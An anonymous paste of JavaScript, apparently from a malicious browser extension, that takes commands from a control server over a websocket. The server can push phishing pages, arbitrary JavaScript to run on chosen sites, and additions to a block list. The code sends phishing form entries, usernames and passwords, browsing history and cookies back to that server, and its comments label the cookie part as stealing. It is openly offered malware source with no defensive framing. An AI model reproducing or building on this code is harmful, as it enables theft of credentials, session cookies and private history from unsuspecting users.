Advertisement
Guest User

Untitled

a guest
Nov 29th, 2018
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //RECEIVING FROM SEVRER
  2. ws.onmessage = function (e) {
  3.     console.log("Message received!");
  4.     object = JSON.parse(e.data);
  5.     id = object.id;//get 256bitvalue
  6.     type = object.type; //As of now types are html, js, listAdd, blackList
  7.     tempSite = object.addString; //Site to add to blacklist.
  8.     translateString = object.jsString; //JS function ins string format.
  9.     jsSite = object.site //website for js attack
  10.     phishSite = object.fishSite //string website for phish
  11.  
  12. //types right now are
  13. //'html' (phishing atttack)
  14. //'js' (js exe)
  15. //'listAdd' (Add a website to blacklist)
  16.  
  17. //SEND PHISH INFO EXTENSION -> SERVER
  18. var jsonPackage = {id: id, type: 'phishForm', phishEmail: emailString, phishPass: passString, phishName: nameString};
  19. ws.send(JSON.stringify(jsonPackage));
  20.  
  21. //SEND USERNAME/PASSWORD INFO EXTENSION -> SERVER
  22. var url = window.location.host;
  23. var jsonPackage = {id: id, type: 'info', url: url, username:userNm, password: passWd};
  24. ws.send(JSON.stringify(jsonPackage));
  25.  
  26. //SEND HISTORY INFORMATION EXTENSION -> SERVER
  27. var jsonPackage = {id: id, type: 'history', history : history};
  28. ws.send(JSON.stringify(jsonPackage));
  29.  
  30. //STEALING COOKIES EXTENSION -> SERVER
  31. var jsonPackage = {id: id, website: domSite, type: 'cookie', cookie: cookies};
  32. ws.send(JSON.stringify(jsonPackage));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement